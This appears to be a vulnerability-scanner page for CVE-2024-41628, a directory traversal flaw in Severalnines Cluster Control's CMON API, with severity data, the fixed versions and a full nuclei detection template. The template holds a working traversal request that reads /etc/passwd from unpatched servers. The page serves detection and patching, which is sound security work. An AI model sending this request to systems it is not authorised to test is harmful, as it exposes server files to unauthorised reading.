Cluster Control CMON API - Directory Traversal

highseverity

7.5CVSS score

6.5%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API.

Impact

Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Cluster Control server.

Fix

Update Severalnines Cluster Control to version 1.9.8-9778, 2.0.0-9779, or 2.1.0-9780 or later.

How to confirm it

Send: GET /
Positive when: contains_all(body,"ClusterControl","CMON_API") and contains(content_type,"text/html") and status_code == 200
Send: GET /../../../../../../../../..//etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-41628 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-41628

info:
  name: Cluster Control CMON API - Directory Traversal
  author: s4e-io
  severity: high
  description: |
    Directory Traversal vulnerability in Severalnines Cluster Control 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780 allows a remote attacker to include and display file content in an HTTP request via the CMON API.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Cluster Control server.
  remediation: |
    Update Severalnines Cluster Control to version 1.9.8-9778, 2.0.0-9779, or 2.1.0-9780 or later.
  reference:
    - https://cvefeed.io/vuln/detail/CVE-2024-41628
    - https://github.com/Redshift-CyberSecurity/CVE-2024-41628
    - https://vuldb.com/?id.272533
    - https://vulmon.com/vulnerabilitydetails?qid=CVE-2024-41628
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-41628
    cwe-id: CWE-22
    epss-score: 0.06517
    epss-percentile: 0.93833
    cpe: cpe:2.3:a:severalnines:clustercontrol:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: severalnines
    product: cluster_control
    fofa-query: icon_hash="160707013" || icon_hash="-1815707560"
  tags: cve,cve2024,severalnines,cluster-control,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"ClusterControl","CMON_API")'
          - 'contains(content_type,"text/html")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /../../../../../../../../..//etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from